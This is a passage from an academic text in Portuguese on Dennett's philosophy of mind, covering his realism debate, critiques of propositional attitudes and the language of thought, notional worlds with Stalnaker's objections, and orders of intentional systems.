b) Psicologia Cognitiva Sub-Pessoal – A tarefa, em uma teoria desta natureza, é direcionar a pesquisa para dentro da caixa preta, que, em uma teoria dos sistemas intencionais, permanece envolta em mistério. Mais especificamente, quer-se encontrar, em organismos conscientes, o elo entre semântica e sintaxe. Como um órgão de mecanismos sintáticos – o cérebro- gera uma semântica? Como sair de uma relação de inputs e outputs para a consciência? Obviamente, o que busca uma psicologia cognitiva é uma resposta naturalista, não-dualista, para a questão. Tendo como objetivo esta resposta, Dennett, mesmo aqui, no domínio do sistema em seu interior, considera necessário atentar-se para o comportamento dos sistemas no meio-ambiente; esta é uma maneira de verificar as suas reações diante de certo contexto. É, também, o que ancorará a psicologia a uma semântica, que inclui uma consideração tanto do que é interior quanto do que é exterior ao sistema. Ignorar esta relação seria não mais psicologia, mas sim uma forma de neurofisiologia, visando unicamente processos internos.

Nesta teoria, faz-se notar a negação do reducionismo em sua forma clássica. Não há a consideração de uma propriedade macro como ligada, unicamente, a uma micro. Visa-se o sistema em seus mecanismos internos, mas também em seu todo. Sem esta união entre duas teorias – psicologia cognitiva e teoria do sistema intencional- perderia-se de vista o aspecto semântico do sistema, que é considerado, em última instância, a chave para a noção de consciência. Friedman (1981), seguindo de perto esta linha, sugere um redirecionamento da redução. Não mais se deveria analisar micropropriedades como determinantes da atividade social cognitiva, mas sim partir deste uso, destas práticas, para uma redução macro, investigando a aplicação de conceitos ao mundo. Dennett, embora concorde com a redução ao nível macro, não aceita a noção de atividade social cognitiva, que, em Friedman, está necessariamente unida à linguagem. Ou seja, é a linguagem a atividade social da consciência par excellence. Dennett busca mais: qualquer forma de reducionismo deve privilegiar sistemas lingüísticos e não-linguísticos, como espécies animais.

Assim, propõe Dennett outra forma de redução, visualizável considerando-se o dito sobre psicologia popular e sistemas intencionais. Sendo a psicologia popular um instrumento no lidar com o mundo, assim como o é a teoria dos sistemas intencionais, é possível reduzir a primeira à segunda, i.e, a psicologia popular pode ser metodologicamente reduzida a uma teoria dos sistemas intencionais. Teria-se, assim, algo da seguinte forma: (x)( x acredita que p = x pode ter sua crença de que p predita) . É vasto o espaço que separa esta forma de reducionismo de uma mais clássica, que afirma algo como: (x) (Mx=Px) , onde um estado mental pode ser reduzido a uma propriedade física. O reducionismo proposto por Dennett leva a cabo a idéia de uma psicologia popular tomada de forma pragmática, sendo, acima de tudo, uma forma de relacionar-se com o mundo. Afirmar que todo estado mental, posto no idioma da psicologia popular, é redutível a uma teoria do sistema intencional não é uma tese passível de ser provada, como não é, seguindo um paralelo traçado por Dennett, a tese de Church, ou seja, a afirmação de que toda função algorítmica é computável, é parcial recursiva.

Em Dennett, assim como em Friedman, tem-se uma observação presente já em Searle (1983): não é possível investigar a mente segundo o modelo clássico de redução das ciências. Se há de fazer-se uma redução, esta deve possuir uma forma própria, diversa da que guiou tantas pesquisas no âmbito das ciências naturais. Para um cientista cognitivo, como Francis Crick, esta é uma afirmação desprovida de conhecimento de causa. O reducionismo não poderia ser tomado de maneira formal, como a citada acima, onde (x) M(x)=P(x) . Seria sim um processo de forte dinamismo, modificando-se seguidamente no sistema. Assim se daria o processo cognitivo, e, desta maneira, o mesmo reducionismo do passado deveria ser a metodologia aplicada, como afirma abaixo:

" O reducionismo é o método teórico fundamental que impulsionou o desenvolvimento da física, da química e da biologia molecular. É largamente responsável pelos desenvolvimentos espetaculares da . É o único método sensato de agir, até que, e a não ser que estejamos confrontados com uma acentuada evidência experimental que exija que modifiquemos a nossa atitude. Os argumentos filosóficos genéricos contra o reducionismo não vingarão " (Crick, 1995:25).

Para Dennett, Searle e outros, a evidência de que Crick não se apercebe é irredutibilidade da semântica à sintaxe. Necessita-se de um modelo que lide com ambas, e o reducionismo clássico não é capaz de tanto. Para Dennett, não há dúvidas de que a análise deve ter por base o uso diário e prático do idioma intencional, afinal, é dele que se necessita ao lidar-se com o mundo.

– Dennett, Instrumentalista e Anti-Realista?

Até este ponto, consideramos, sem uma problematização devida, Dennett como um instrumentalista e anti-realista. Postas as bases de sua teoria intencional, é chegado o momento de desfazer a rigidez desta taxonomia. A literatura em filosofia da mente toma Dennett, de fato, como um instrumentalista e anti-realista, no clássico sentido destes termos. Todavia, estes títulos são incansavelmente por ele negados. Embora afirme seguir uma forma de instrumentalismo, Dennett busca sair desta linha em sua tradição mais sólida, presente na filosofia das ciências. Quanto ao termo "anti-realismo", sua negação é firme: considera-se um realista, embora não tal qual Fodor ou Searle. Explicitemos.

Em sua corrente extrema, citada por Dennett, instrumentalistas não tomam teorias como sendo uma descrição da realidade, mas apenas um instrumento útil, tornando possível a predição de fenômenos. Termos como "elétron", "éter", e, no âmbito mental, "crenças" e "desejos", não revelariam nenhuma verdade última sobre o mundo, mas apenas ficções úteis ao desenvolvimento da ciência. Dennett, em linhas gerais, segue esta posição, concordando com a impossibilidade de teorias enquanto revelações sobre a essência do mundo. Em contrapartida, as considera não meros instrumentos de cálculo, nem falsos nem verdadeiros; tais teorias são, de alguma forma, verdadeiras. Portanto, é verdade que possuímos crenças e desejos, como crê um realista, como Fodor ou Searle. Todavia, ao afirmar a existência de crenças e desejos, Dennett não os considera como eventos internos, passíveis de serem encontrados em cada indivíduo. Crenças e desejos existem por serem apreendidos através da postura intencional. Não são um privilégio humano, já que se pode prevê-los em organismos menos complexos. "As pessoas possuem crenças e desejos como a Terra possui um Equador", afirma Dennett, deixando claro sua divergência com realistas mais radicais.

Por incluir em seu vocabulário crenças e desejos de forma não-literal, Dennett é por muitos considerado um anti-realista. Ele, porém, acredita que o simples fato de utilizá-los, e de serem passíveis de predição em sua teoria intencional, é o bastante para configurar uma forma de realismo, como afirma a seguir:

"I claim that the intentional stance provides a vantage point for discerning similarly useful patterns. These patters are objective – they are there to be detected- but from our point of view that are not out there entirely independent of us, since they are patterns composed partly of our own ´subjective´ reactions to what is out there. (…) So I am a sort of realist. I decline the invitation to join Rorty´s radical perspectivalism" (Dennett, 1987:39-40 ) . 11

Embora negue pôr-se ao lado de Rorty e de seu perspectivalismo, ambos seguem uma mesma tradição, tendo como base, como vimos previamente, Quine, Davidson, e que remete, menos diretamente, a pragmatistas como William James e John Dewey. Em todos estes autores, não há um acesso à essência do mundo, a uma verdade última. Há sim modelos que visam uma adaptação do homem a seu meio, uma forma de obter vantagens do mundo. Dennett, embora afirme-se realista de uma nova forma, segue esta tradição, designada sob diversos títulos: pragmatista, anti-realista, anti-representacionalista, relativista, perspectivista, etc.

Os problemas em estabelecer uma linha rígida entre realismo e anti-realismo foram bem postos por Rorty, em seu Objetivismo, Relativismo e Verdade (1997). Lá, revela-se a ambigüidade do termo, tomado primeiro pelos crêem ser a mente e linguagem representações da realidade e após pelos que não acreditam ser possível tal representação. Rorty, buscando clarificar sua posição, adota, em lugar do anti-realismo, o termo "anti-representacionalismo". Em Dennett, a confusão entre termos é de natureza similar, já que sua obra não se enquadra em uma forma clássica de anti-realismo, por ele considerada demasiadamente radical, e tampouco em um realismo mais forte.

Diante do exposto, é prejudicial estabelecer uma classificação rígida e desprovida de uma explicitação que acompanhe o termo. Problematizada a taxonomia, quando nos referimos a Dennett utilizaremos, como até o momento, o termo "anti-realista", contra o desejado pelo autor, mas em sintonia com sua tradição. Metodologicamente, é também o caminho mais adequado, ficando clara a oposição ao realismo tradicional, representado por Fodor na primeira parte deste trabalho. Voltaremos ao assunto, por uma última vez, em um momento final. Dito, isto, continuemos.

Atitudes Proposicionais, Linguagem do Pensamento e Mundos Nocionais: Beyond Belief

Beyond Belief é o mais longo e famoso ensaio presente em Intentional Stance . Nele, Dennett analisa o modo como a filosofia analítica, em sua tradição, lidou com o conceito de crença. Identifica problemas e incompatibilidades, terminando por oferecer uma nova alternativa, a teoria dos mundos nocionais. Seu caminho parte de uma reconsideração das atitudes proposicionais, abordagem mais clássica do conceito de crença, chegando a uma análise da noção de proposição em Frege e autores posteriores. Após, tece críticas à chamada "linguagem do pensamento", teoria de forte influência na filosofia da mente, defendida por Fodor em parte de sua obra, e que também lança-se em um discurso sobre crenças. Por fim, diagnosticadas as insuficiências das teorias anteriores, propõe que se aborde as crenças a partir de mundos nocionais.

Embora este ensaio seja um desvio à postura intencional, que não é citada, notar-se-á a coerência entre esta teoria e a dos mundos nocionais. Ambas supõem uma certa dose de interpretação, como é usual em Dennett. A busca central, aqui, é a formulação de um discurso que lide adequadamente com o conceito de crença. Seu uso é indispensável, como vimos, por desempenhar um fundamental papel na predição de comportamentos. É um termo à serviço do homem em sua adaptação ao ambiente. Se não é possível renegá-lo, necessário faz-se evitar certas contradições notadas em clássicas teorias da filosofia analítica. Beyond Belief é a tentativa de pôr a exame este legado. Nenhuma teoria das crenças será proposta, sendo o ensaio dedicado, acima de tudo, à revisão do já construído. O que será proposto por Dennett, a idéia dos mundos nocionais, é menos uma teoria de crenças e mais uma sugestão de seu uso dentro de práticas sociais, de maneira útil, vantajosa para o homem em seu relacionar-se com o mundo.

Com efeito, tomar o uso de vocábulos relacionados à crenças como sendo um dos tantos artifícios no lidar com o ambiente é um, dos muitos, acessos a seu conceito. Outro seria considerá-los, meramente, como parte significativa da semântica de uma linguagem. Sentenças da forma x acredita que p desempenhariam um papel na linguagem em seu uso, assim como o termo "queijo" desempenha o seu. Outra forma de conceituar crenças, mais realista, as considera como estados internos, presentes, de fato, na mente. X acredita que p revelaria mais que um uso lingüístico, tornando comunicável um evento psicológico real. Atitudes proposicionais e linguagem do pensamento seriam, ainda, duas formas a mais no tratamento das crenças. Mais complexas, incluem aspectos vários das citadas acima. Seguindo a releitura de Dennett, desceremos a detalhes em ambas. Primeiro passo: análise das atitudes proposicionais.

– Atitudes Proposicionais

Cunhado primeiramente por , o termo "atitude proposicional" refere-se à estados mentais expressos sob a forma de sentenças. Uma sentença desta forma deve possuir três elementos: um termo referindo-se ao sujeito, outro referindo-se à atitude a ele atribuída, e um terceiro que se refere ao conteúdo da atitude, à proposição. É uma atitude proposicional, portanto, a sentença X acredita que P , citada acima. X é o sujeito em questão, acredita é a atitude atribuída e que P o conteúdo desta crença. A atitude, neste exemplo uma crença, poderia ser um desejo, um temor, etc. São igualmente atitudes proposicionais sentenças do tipo: X teme que P, X deseja que P, X quer saber se P (Dennett, 1997).

Esta simples, e clássica, formulação, tem sido o caminho mais trilhado ao se lidar com crenças. Todavia, há problemas nesta caracterização de estados internos, considerando-se a necessidade de uma adequação entre a atitude do sujeito e a proposição a ele referida. Para ser satisfeita esta condição, é preciso ter claramente definido o conceito de "proposição", e, conseqüentemente, identificar de maneira precisa o que diferencia proposições e o que as torna idênticas, ou uma só em diferentes sentenças. Em ambos os pontos, Dennett não encontra, na vasta literatura sobre o tema, um consenso ou uma definição definitiva. O que consegue é dividir em três as posições centrais, que são as seguintes:

  1. Proposições são "entidades" sob a forma de sentenças. Aqui, o que caracteriza se duas atitudes proposicionais são iguais ou diferentes é a existência, de fato, desta atitude a nível mental. Será a mesma se ambos os sujeitos envolvidos a possuírem, será distinta se não. Note-se que esta é uma posição realista, em consonância com o proposto por Fodor: atitudes proposicionais tomadas de maneira literal, revelando estados psicológicos do indivíduo.
  2. Proposições como grupos de mundos possíveis. Apela-se, neste caso, para o uso de mundos possíveis como verificação. Se duas sentenças forem consideradas verdadeiras no mesmo grupo de mundos possíveis, elas serão idênticas.
  3. Proposições como arranjos de objetos e propriedades no mundo. Posição defendida por Russell, afirmando que uma proposição é formada pela união entre um objeto e uma propriedade no mundo. Exemplo: Esta cadeira é marrom. Tem-se um objeto (cadeira) e uma propriedade atribuída (ser marrom).

Embora díspares, as três definições possuem como base condições estabelecidas por Frege. A busca era, através destas condições, manter claro o papel das proposições em uma teoria.Todavia, como explicitaremos em breve, sérias objeções foram levantadas contra a possibilidade de satisfação simultânea do requerido por Frege. Conflitos surgem, tornando ainda mais impreciso o conceito de proposição. Enumeremos, a princípio, as três condições propostas:

  1. Uma proposição deve possuir um valor de verdade. Se uma sentença é verdadeira e outra falsa, elas expressam proposições distintas. (Dennett, 1987).
  2. Uma proposição é composta por intensões, sentidos. Ao referir-me à Jocasta, personagem de Sófocles, pode-se usar seu nome próprio, mas também a ela referir-se como "a mãe de Édipo". Em ambos os casos, o referente é o mesmo. Com efeito, diferentes intensões, como foi o caso no exemplo, podem possuir diferentes extensões; o contrário não é verdadeiro. Por conseguinte, duas sentenças só podem expressar uma mesma proposição se possuírem o mesmo referente no mundo. Do contrário, expressam proposições distintas.
  3. Uma proposição deve ser "apreendível" pela mente.

Embora misteriosa, e pouco clarificada por Frege, esta terceira condição recai sobre o mesmo ponto do realismo forte, defendido por Fodor, i.e, a defesa da existência, de fato, de estados mentais e de sua causalidade. Aqui, como em Fodor, as atitudes proposicionais são tomadas como capazes de causar comportamentos, interferências no mundo. Desejos, crenças, etc, são estados internos, presentes e atuantes. Uma mudança nestes estados significa uma mudança nas atitudes proposicionais do sistema. E, inversamente, uma alteração nestas atitudes ocorre apenas se internamente forem transformados os estados. Dois indivíduos possuem as mesmas atitudes proposicionais se compartilharem os mesmos estados psicológicos. Não satisfeita esta condição, diferem as atitudes proposicionais.

Neste ponto, recai-se em uma forma de realismo internalista, com estados psicológicos internos sendo por completo responsáveis pelas atitudes proposicionais. Fodor diverge quanto a esta afirmação. Embora defenda a existência, de fato, de estados intencionais, não considera eventos internos como por completo determinantes destes. Aceita que mudanças no ambiente podem acarretar alterações no conteúdo mental, como vimos em sua teoria do conteúdo. Em Frege, o conteúdo está à mercê de estados internos. Em Fodor, estes são presentes, mas variáveis de acordo com o mundo exterior.

Como anteriormente antecipamos, conseqüências desagradáveis seguem-se da terceira condição de Frege. Objeções a ela foram levantadas, por, entre outros, Fodor (1980), Perry (1977, 1979) e Stich (1978). Mas deve-se a Putnam (1975) o contra-exemplo mais clássico, e que terminou por gerar diversas variações. Percorramo-lo brevemente.

Imagine-se uma Terra-Gêmea. Idêntica a Terra em que vivemos, o único fato que as diferencia é ser a água quimicamente não H2O, mas XYZ. Todavia, aos olhos esta água terráquea-gêmea é indistinguível da conhecida em nosso planeta. Os habitantes da Terra-Gêmea também denominam seu XYZ como "água". Sendo os planetas idênticos em todos aspectos, com exceção da água, lá há uma réplica minha, ou um doppelgänger , para seguir o termo utilizado por Putnam. Sendo esta réplica a mim perfeitamente igual, ela teria os mesmos estados psicológicos internos. Mesmas crenças e desejos. Há, todavia, uma atitude proposicional quem é para mim verdadeira e para meu doppelgänger falsa: água é H2O. Note-se, aqui, o conflito entra as condições 1 e 3 de Frege. Na 1, afirma-se que se uma sentença é verdadeira e outra falsa, estas são proposições diferentes. Na 3, está posto que para alterar-se uma atitude proposicional é necessário alterar-se, simultaneamente, algo nos estados psicológicos internos do indivíduo. Ora, minha réplica e eu possuímos os mesmos estados internos, nenhum deles foi alterado, e , ainda assim, cremos em proposições diferentes, como afirma a primeira condição fregeana. Por conseguinte, uma das duas condições precisa ser alterada. Ou estados internos não determinam atitudes proposicionais por completo, ou uma sentença falsa e outra verdadeira podem expressar uma mesma proposição. O caminho tomado por Putnam é de reforma da condição 3, considerando o ambiente como um dos determinantes das atitudes proposicionais, como vimos na primeira parte do trabalho.

Dennett (1987), sugere uma variação simplificada deste contra-exemplo. Imagine-se uma Terra-Gêmea idêntica a esta, inclusive nas micro-propriedades da água. A única divergência é que enquanto tenho uma carteira em meu bolso, minha réplica não a tem. X acredita que há uma carteira em seu bolso é uma atitude proposicional verdadeira para mim, mas falsa para minha réplica. Mais uma vez, as atitudes proposicionais diferem, embora não haja quaisquer distinções nos estados psicológicos.

Note-se que as objeções partem da hipótese de que a terceira condição de Frege, ser uma proposição "apreendível" mentalmente, acarreta, de fato, em uma forma de internalismo, com estados psicológicos determinando por completo atitudes proposicionais. Embora esta seja uma leitura coerente com a obra de Frege, segue sendo uma hipótese. Ainda assim, a instabilidade destas três condições básicas, somadas à falta de um consenso sobre a definição de proposição, são o bastante para Dennett considerar inadequado o uso de atitudes proposicionais ao se lidar com crenças. É preciso alternativas. A primeira surgida, e mais popular, foi a "linguagem do pensamento" .

– Atitudes Sentenciais ou Linguagem do Pensamento

Embora tenha desaparecido de suas obras mais recentes, como Theory of Content , a teoria da linguagem do pensamento, em sua versão contemporânea, tem em Fodor suas bases ; mais especificamente, em seu Language of Thought (1975). Aqui, é defendida a idéia de que há, de fato, sentenças a nível mental, com uma sintática própria e distinta das línguas faladas, compondo o chamado "mentalês". Dennett (1987), estabelece uma divisão entre três teorias que se valem de uma linguagem do pensamento. Citemo-las.

  1. Apreender uma proposição é apreendê-la literalmente, de forma entificada, em uma linguagem do pensamento. É ter a nível mental esta proposição presente.
  2. Crenças sobre objetos no mundo, como árvores ou cadeiras, são compostas de símbolos que representam estes objetos e também qualquer relação existente entre eles. Esta teoria é defendida por Field (1978).
  3. Ao se buscar uma diferenciação entre estados mentais distintos mas como um mesmo referente, tal qual um pensamento acerca de Jocasta e outro acerca da mãe de Édipo, deve-se considerar uma estrutura sintática a nível mental. Esta sintaxe esclareceria as semelhanças e diferenças entre os estados mentais (Fodor, 1980).

A crítica de Dennett à linguagem do pensamento caminha, como ao lidar com atitudes proposicionais, através de um ataque ao internalismo. E também como no tópico anterior, Dennett segue aqui Putnam, não apenas ao adotar como contra-exemplo o uso de uma Terra Gêmea, mas ao tomar para si o Solipsismo Metodológico . Este método considera o organismo analisado de forma isolada, sendo seus estados internos os únicos responsáveis por sua psicologia. Putnam busca, assim, identificar que crenças independem de influência externa, sendo por todo determinadas através de processos internos. Para um externalista, como Putnam, só uma resposta cabe: nenhuma.

Incorporando este proceder à linguagem do pensamento, tem-se que, em uma Terra-Gêmea, uma réplica átomo por átomo de minha pessoa apresentaria, também, uma mesma sintaxe mental. Na verdade, esta é a condição desejada por Dennett para uma linguagem do pensamento: estruturas físicas iguais gerando sintaxes a nível mental também iguais. Mas poderiam diferenças físicas gerar ainda assim sintaxes idênticas? Para Dennett, sim, o que lança por terra sua condição de coerência para uma linguagem do pensamento. Assim como na linguagem faladas, a nível mental divergências em relação à cor, tamanho, forma da sentença, não alterariam sua sintaxe. Dois sistemas, ainda que instanciando diferentes processos físicos, gerando diferentes sentenças mentais em sua estrutura, poderiam compartilhar uma sintaxe. Esta indeterminação entre um estado físico e um mental estende-se de maneira variada, como exemplifica Dennett:

" Sentences with different physical properties can have the same syntax. (…) Transplanted from the theory of natural language to the theory to the theory of psychological states, the part of the nesting of concern to us now looks like this: people believing the same proposition can be in different (narrow) psychological states; people in the same narrow psychological states can be in different fine-grained (i.e, syntactically characterized) states; people in the same syntactic states can implement those states in physically different ways. And, of course looking in the other direction, we can see that two people narrowly construed as being in the same state can be reconstrued as being in different states if we redraw the boundaries between the people´s states and the surrounding environment " (Dennett, 1 987:151). 12

Após esta crítica metodológica em Beyond Belief, considerando, em uma forma de solipsismo, o sistema como puramente sintático, Dennett, mais adiante em sua obra, em ensaio intitulado The Language of Thought Reconsidered (1987), volta-se mais uma vez a uma crítica da linguagem do pensamento. Agora, o ataque é tomado de forma prática, tendo-se em vista sistemas de Inteligência Artificial que não necessitam de representações de forma explícita, como uma linguagem mental. Sistemas mais evoluídos, como os animais e seres-humanos, também não precisariam de tal aparato para possuir estados mentais. A linguagem do pensamento, seria, enfim, uma teoria ineficiente e a ser descartada, como argumenta Dennett abaixo:

" The problem is not that the sententialist models of such thinking do not lead to plausible testable hypothesis. Worse, they seem to lead quite systematically down recognizable dead ends: hopelessly brittle, inefficient, and unversatile monstrosities of engineering that would scarcely guide an insect through life unscathed. At the heart of the problem lies the Frame Problem of artificial intelligence, as Fodor recognizes, and has proven so resistant to solution by the orthodox techniques of cognitive science that a strong case can be made that it spells the doom of propositional attitudes as computational relations to internal representations " (Dennett, 1987:229 ) . 13

O que Dennett defende aqui é, mais uma vez, que a diferença entre sistemas intencionais, tais como máquinas, animais e humanos, é de complexidade. Não há na mente de seres mais evoluídos um elemento mágico e único. Há sim níveis de complexidade. Qualquer teoria que afirma o contrário, repousa em um domínio, de certa forma, místico. Se não se possui um acesso empírico a certos estados processos de um sistema, deve-se, primeiramente, analisá-lo em funcionamento, interpretá-lo.

Atitudes Nocionais

Percorridos os diversos problemas em que recaem duas clássicas teorias – linguagem de pensamento e atitudes proposicionais -, Dennett propõe um modelo que lidará com as crenças, e outros estados a nível mental, sob a forma de mundos ficcionais, ou, em sua terminologia, mundos nocionais. Uma psicologia da atitude nocional terá como objeto os mundos nocionais de determinado organismo. Entenda-se por mundos nocionais o imaginário, ou ficcional, mundo criado por um sujeito que busca um acesso aos estados mentais de um terceiro. Ou seja, como forma de aproximar-se dos estados psicológicos de um organismo, ou sistema, cria-se um mundo nocional onde ele é posto. Neste ambiente fictício, analisa-se as crenças e comportamentos do organismo.

Obviamente, este mundo nocional é repleto de objetos também nocionais, que desempenharão um fundamental papel nas crenças e desejos do organismo. No mundo nocional, o sistema possuirá estados mentais acerca dos objetos que povoam este mundo. Alguns destes objetos podem se fazer presentes no mundo real; outros, porém, podem existir de forma nocional, apenas. Encontráveis no mundo real ou não, os objetos de um mundo nocional devem compor um ambiente "ideal" para o organismo, i.e, o ambiente onde o organismo melhor se adapte. Portanto, se estivéssemos diante de um esquimó, o mundo nocional a lhe ser atribuído certamente assemelharia-se ao Alasca ou à Islândia, ainda que em nossa ficção houvessem objetos não presentes nesses territórios. Por outro lado, se fosse Woody Allen nosso objeto de pesquisa, deveríamos supor um mundo em muito semelhante a Nova York, ou, mais precisamente, a Nova York de seus filmes, que em muito difere da real, assim como o Rio de Janeiro das músicas de Tom Jobim é distinto do que podemos visitar, em qualquer época. Seguindo a mesma estratégia, se estivéssemos por criar um mundo nocional para Alonso Quijano, este seria mais próximo do ambiente imaginário em que tem vida Don Quixote do que de uma Espanha real, por ele habitada . Seguindo Chalmers (1996), pode-se tomar ainda o chamado "enigma de Kripke" como exemplo. Imagine-se que, em Paris, é dito a Pierre que "Londres est jolie". Tempos depois, ele visita Londres, porém, a conhece como London, sem jamais imaginar que "Londres" e "London" referem-se a uma mesma cidade. Pierre acha London feia, embora continue acreditando que Londres é bela, embora não a conheça. Em um mundo nocional atribuído a Pierre, haveria uma cidade chamada "Londres", extremamente bela, e outra chamada "London", feia e cinzenta. Na ficção, em um ambiente ideal, ambas as crenças seriam verdadeiras.

A elaboração de um mundo nocional não é, como parece à primeira vista, aleatória. Ela segue-se a uma inicial descrição do organismo, em seus aspectos internos e externos (aspectos externos do organismo, e não externos a ele). As informações obtidas a partir deste procedimento indicariam o ambiente propício para o organismo, onde ele melhor adaptaria-se. Todavia, por mais detalhada que seja uma análise do objeto em suas estruturas, é possível que, sem interpretação, nada indique o que ele é de fato, ou de onde origina-se. Isto se daria no caso de organismos estranhos, desconhecidos, como, por exemplo, um extraterrestre. Sem pistas sobre sua proveniência, elaboraria-se, a partir de uma descrição física inicial, um mundo de ficção, perfeitamente adequado aos aspectos analisados no organismo. Posto neste modelo nocional, interpretaria-se seu comportamento em relação aos objetos que o circundam no mundo criado. Teria-se, por conseguinte, um acesso ao funcionamento do organismo, à sua origem e ao que ele é de fato. O mesmo se daria e casos de sistemas complexos, como seres-humanos. A partir de uma descrição física externa e interna- análise da distribuição de pelos no corpo, cor da pele, etc- determinar-se-ia o ambiente ideal para este indivíduo. Imaginando-se para ele um mundo nocional, seria possível ter acesso a seus estados psicológicos e a sua relação com o meio.

Dennett, assumidamente, aproxima-se, com a idéia de mundos e objetos nocionais, da concepção de Brentano de intencionalidade. Lá, como aqui, há objetos existentes apenas a nível mental, sem contra-partida na realidade, ou, mais claramente, objetos intencionais. Dragões imaginados seriam exemplos de tais objetos. Todavia, em Brentano, esta formulação desemboca em dualismo, tornando-se a intencionalidade uma característica não-física por representar o que não se faz presente no mundo. Em Dennett, o caminho é diverso. A intencionalidade é um fenômeno fisicamente realizável, sendo os mundos nocionais uma metodologia de acesso ao mental em terceira pessoa. Assim como a postura intencional, é uma maneira de investigar certo estados de um organismo de maneira interpretativa, considerando aspectos objetivos e daí formulando uma interpretação. Por conseguinte, os mundos nocionais de Dennett não são em nenhum ponto uma negação do naturalismo, mas sim um método em busca dos estados intencionais de um sistema, elaborado de forma a não recair nos problemas encontrados nas atitudes proposicionais e na linguagem do pensamento.

Todavia, Dennett e sua proposta foram também alvos de severas críticas. Em seu artigo On What´s in the Head (1989), Robert Stalnaker contesta o funcionamento efetivo dos mundos nocionais. Não seria possível formular um mundo fictício fiel ao sujeito sem considerar-se seu ambiente real, seu habitat. Stalnaker, ao contrário de Dennett, não aceita que uma descrição estrutural do organismo seja suficiente para determinar o ambiente para ele ideal, ou seja, analisar o corpo de Woody Allen nada revelaria sobre sua Nova York, assim como o mesmo procedimento realizado em Tom Jobim nenhuma informação traria sobre seu Rio de Janeiro particular. Com efeito, tal análise nada diria sobre o mundo próprio do sujeito, ainda que o ambiente nocional lhe fosse de fácil adaptação. Assim como o organismo poderia adaptar-se em um dos ambientes imaginados, poderia também faze-lo em diversos outros, já que os mundos nocionais nada revelam, de fato, sobre o mundo particular do sujeito. O resultado dos mundos nocionais seria, por fim, um mero conto de fadas, como afirma Stalnaker:

" With a little imagination, one should be able to tell all kind of wild fairy tales about environments in which the movements I am disposed to make are appropriate, but that are not anything like the world seems to me" (Stalnaker, 1989) . 14

Outro ponto por Stalnaker criticado, é o não uso, em mundos nocionais, de informações obtidas a partir da relação do organismo com seu ambiente real. Este isolamento privaria os mundos fictícios de carregar uma gama de dados confiáveis, deixando-os no âmbito da especulação. Não haveria porque não usar informações que estão disponíveis, concluindo Stalnaker que

"(…) no reasonable notion of content will result from this procedure; one might also argue the point of the exercise. Why bother? Why shouldn´t an explanatory theory make use of historical and environmental information in defining content? " (Stalnaker, 1989) . 15

Dennett, ainda em Intencional Stance, em uma série de reflexões sobre Beyond Belief ,cita e responde parte das críticas a ele direcionadas. Lá, considera a metodologia dos mundos nocionais como algo a ser utilizado em casos específicos, estando o organismo deslocado de seu habitat natural; não seria, assim, uma estratégia a ser utilizada de forma freqüente pela psicologia empírica. Contrapondo o argumentado por Stalnaker, Dennett mantém sua afirmação de que as informações buscadas, como origem e função do organismo, se fariam sim presentes em uma análise do organismo em sua estrutura interna e externa. Tais informações fariam uma diferença a tal ponto que sua modificação marcaria uma alteração do organismo em sua estrutura física.

Todavia, Dennett mantém-se na linha de argumentação de sua postura intencional, afirmando, ao fim de sua reflexão, que " a informação está na mente do observador". Tomando-se esta noção , torna-se claro que Stalnaker procura uma determinação de estados internos que a Dennett é estranha. Se Stalnaker requer que os mundos nocionais explicitem o ambiente ideal para o organismo, o mundo para ele particular e suas crenças nesse mundo, para Dennett é suficiente que sua estratégia designe um ambiente ideal, ainda que não seja o particular, íntimo e interno do sistema. Pô-lo, de forma fictícia , em um ambiente onde facilmente se adaptasse, seria o bastante para analisar suas crenças, desejos e ações. É um método, assim como a postura intencional, interpretativo, e por isso impreciso. Mas, para Dennett, em determinados casos, funciona, o que lhe é suficiente.

Em se tratando da postura intencional, Dennett porá este funcionamento à prova, analisando, em primatas, a relação entre seus comportamentos e seus possíveis estados mentais, conforme explicitaremos no próximo momento.

A Reviravolta Evolucionista

Embora já ensaiasse seus passos momentos antes, é a partir dos ensaios Intencional Systems in Cognitive Ethology: The Panglossian Paradigm e Evolution, Error and Intentionality (1987) que Dennett abraça de vez por todas o evolucionismo. No segundo, voltará à distinção entre sua obra e a dos realistas, no sentido fodoriano do termo, adicionando elementos advindos do evolucionismo que terminam por clarificar seu posicionamento. Retomará, também, o problema da disjunção, apresentando uma solução que analisamos quando da obra de Fodor, mas que se mostrará de mais fácil entendimento agora, após a compreensão geral do defendido por Dennett.

No primeiro ensaio, Intentional Systems in Cognitive Ethology, Dennett relata os resultados de seu trabalho de campo, em território africano, junto a um grupo de etologistas. Lá, buscou compreender as ações de certa espécie de macacos a partir de sua teoria dos sistemas intencionais. Trataremos deste ensaio, primeiramente, e, após e por fim, de Evolution, Error and Intentionality.

– Sistemas Intencionais e Etologia

Que macacos são sistemas intencionais, que seu comportamento pode ser predito adotando-se a postura intencional, é já sabido. Porém, quão complexos são eles, enquanto sistemas intencionais? Quão complexos somos nós? Dennett, buscando responder tais questões , estabelece em graus a diferenciação entre sistemas intencionais. Há desde sistemas intencionais extremamente simples, de primeira-ordem, a sistemas complexos, de quarta ou quinta-ordem. Um sistema intencional de primeira-ordem possui crenças e desejos, mas não crenças e desejos sobre outras crenças e desejos (Dennett, 1997). A tal sistema podem ser atribuídas crenças do tipo x acredita que p , mas não mais complexas que isso. Note-se que o termo intencional ( acredita ) é utilizado uma vez apenas, caracterizando o sistema como de primeira-ordem.

Em um sistema de segunda-ordem, é possível a ele atribuir-se crenças e desejos acerca de outras crenças e desejos, i.e., o sistema possui estados intencionais acerca dos estados intencionais de outro sistema. Temos, aqui, algo da forma x deseja que y creia que x está com medo. Sendo o sistema de segunda-ordem, o idioma intencional é por duas vezes utilizado ( deseja, creia ). Enquanto complexidade, entre a primeira e a segunda-ordem há uma crucial diferença, marcada pelo possibilidade que tem o sistema de pensar acerca dos estados mentais de um terceiro. Podemos, agora, facilmente visualizar o que seria um sistema de terceira-ordem. x deseja que y creia que y deseja que ambos durmam seria um exemplo do grau de complexidade de tal sistema. Quanto mais vezes for usado o idioma intencional, portanto, mais complexo é o sistema. Em um sistema de quarta-ordem, surgirão quatro termos intencionais, em um de quinta, cinco, e assim por diante.

